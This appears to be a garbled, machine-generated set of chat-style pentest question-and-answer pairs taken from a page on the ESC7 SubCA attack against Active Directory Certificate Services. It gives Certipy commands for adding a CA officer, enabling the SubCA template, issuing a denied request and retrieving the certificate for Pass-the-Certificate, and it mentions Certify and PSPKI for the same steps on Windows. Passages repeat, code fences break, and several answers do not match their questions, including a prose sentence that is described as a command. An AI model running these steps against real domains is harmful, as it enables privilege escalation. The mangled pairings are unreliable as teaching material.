The SubCA template is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user tries to enroll in it, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request anyway. The user can then retrieve the issued certificate by specifying the same ID.

::: tabs

=== UNIX-like

If the attacker only has the ManageCA permission, Certipy (Python) can be used to enumerate access rights over the CA object (how to enumerate) and modify some CA's attributes like the officers list (an officer is a user with the ManageCertificates right). The attacker could also enable or disable certificate templates.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Access controls - ESC7 - Abusing SubCA during a pentest?

Response:
When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, the SubCA built-in template can be used, along with a ManageCA right.

The SubCA template is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user tries to enroll in it, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request anyway. The user can then retrieve the issued certificate by specifying the same ID.

::: tabs

=== UNIX-like

If the attacker only has the ManageCA permission, Certipy (Python) can be used to enumerate access rights over the CA object (how to enumerate) and modify some CA's attributes like the officers list (an officer is a user with the ManageCertificates right). The attacker could also enable or disable certificate templates.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Add a new officier?

[Assistant] certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -add-officer 'user'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Add a new officier?

Response: certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -add-officer 'user'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Add a new officier

[Assistant] certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -add-officer 'user'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -add-officer 'user'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about List all the templates

[Assistant] certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -list-templates

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -list-templates


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through List all the templates

[Assistant] certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -list-templates

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -list-templates


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Enable a certificate template?

[Assistant]
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -enable-template 'SubCA'
``

In order to abuse the SubCA template with ESC7, both ManageCA and ManageCertificates are needed in order to issue a certificate from a failed request.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Enable a certificate template?

Response:
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -enable-template 'SubCA'
``

In order to abuse the SubCA template with ESC7, both ManageCA and ManageCertificates are needed in order to issue a certificate from a failed request.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Enable a certificate template

[Assistant]
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -enable-template 'SubCA'
``

In order to abuse the SubCA template with ESC7, both ManageCA and ManageCertificates are needed in order to issue a certificate from a failed request.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Enable a certificate template

Response:
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -enable-template 'SubCA'
``

In order to abuse the SubCA template with ESC7, both ManageCA and ManageCertificates are needed in order to issue a certificate from a failed request.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the In syntax for enable a certificate template?

[Assistant] In order to abuse the `SubCA` template with ESC7, both `ManageCA` and `ManageCertificates` are needed in order to issue a certificate from a failed request.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the In syntax for enable a certificate template?

Response: In order to abuse the `SubCA` template with ESC7, both `ManageCA` and `ManageCertificates` are needed in order to issue a certificate from a failed request.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Enable a certificate template?

[Assistant] In order to abuse the `SubCA` template with ESC7, both `ManageCA` and `ManageCertificates` are needed in order to issue a certificate from a failed request.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Enable a certificate template?

Response: In order to abuse the `SubCA` template with ESC7, both `ManageCA` and `ManageCertificates` are needed in order to issue a certificate from a failed request.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `In order to abuse the `SubCA` template with ESC7, both `ManageCA` and `ManageCertificates` are needed in order to issue a certificate from a failed request.`?

[Assistant] This command is used for enable a certificate template. Enable a certificate template

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `In order to abuse the `SubCA` template with ESC7, both `ManageCA` and `ManageCertificates` are needed in order to issue a certificate from a failed request.`?

Response: This command is used for enable a certificate template. Enable a certificate template


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Issue a failed request (need ManageCA and ManageCertificates rights for a failed request) in the context of penetration testing

[Assistant] certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -issue-request 100

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Issue a failed request (need ManageCA and ManageCertificates rights for a failed request) in the context of penetration testing

Response: certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -issue-request 100


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)

[Assistant] certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -issue-request 100

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)

Response: certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -issue-request 100


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Retrieve an issued certificate?

[Assistant]
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -retrieve 100
``

The certificate can then be used with Pass-The-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both ManageCA and ManageCertificates are already obtained. There is no known method to obtain the ManageCertificates right.

Then, PSPKI (PowerShell) can be used to approve a certificate request (RSAT is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -retrieve 100
``

The certificate can then be used with Pass-The-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both ManageCA and ManageCertificates are already obtained. There is no known method to obtain the ManageCertificates right.

Then, PSPKI (PowerShell) can be used to approve a certificate request (RSAT is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Retrieve an issued certificate?

[Assistant]
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -retrieve 100
``

The certificate can then be used with Pass-The-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both ManageCA and ManageCertificates are already obtained. There is no known method to obtain the ManageCertificates right.

Then, PSPKI (PowerShell) can be used to approve a certificate request (RSAT is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Retrieve an issued certificate?

Response:
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -retrieve 100
``

The certificate can then be used with Pass-The-Certificate to obtain a TGT and authenticate.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both ManageCA and ManageCertificates are already obtained. There is no known method to obtain the ManageCertificates right.

Then, PSPKI (PowerShell) can be used to approve a certificate request (RSAT is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".

``powershell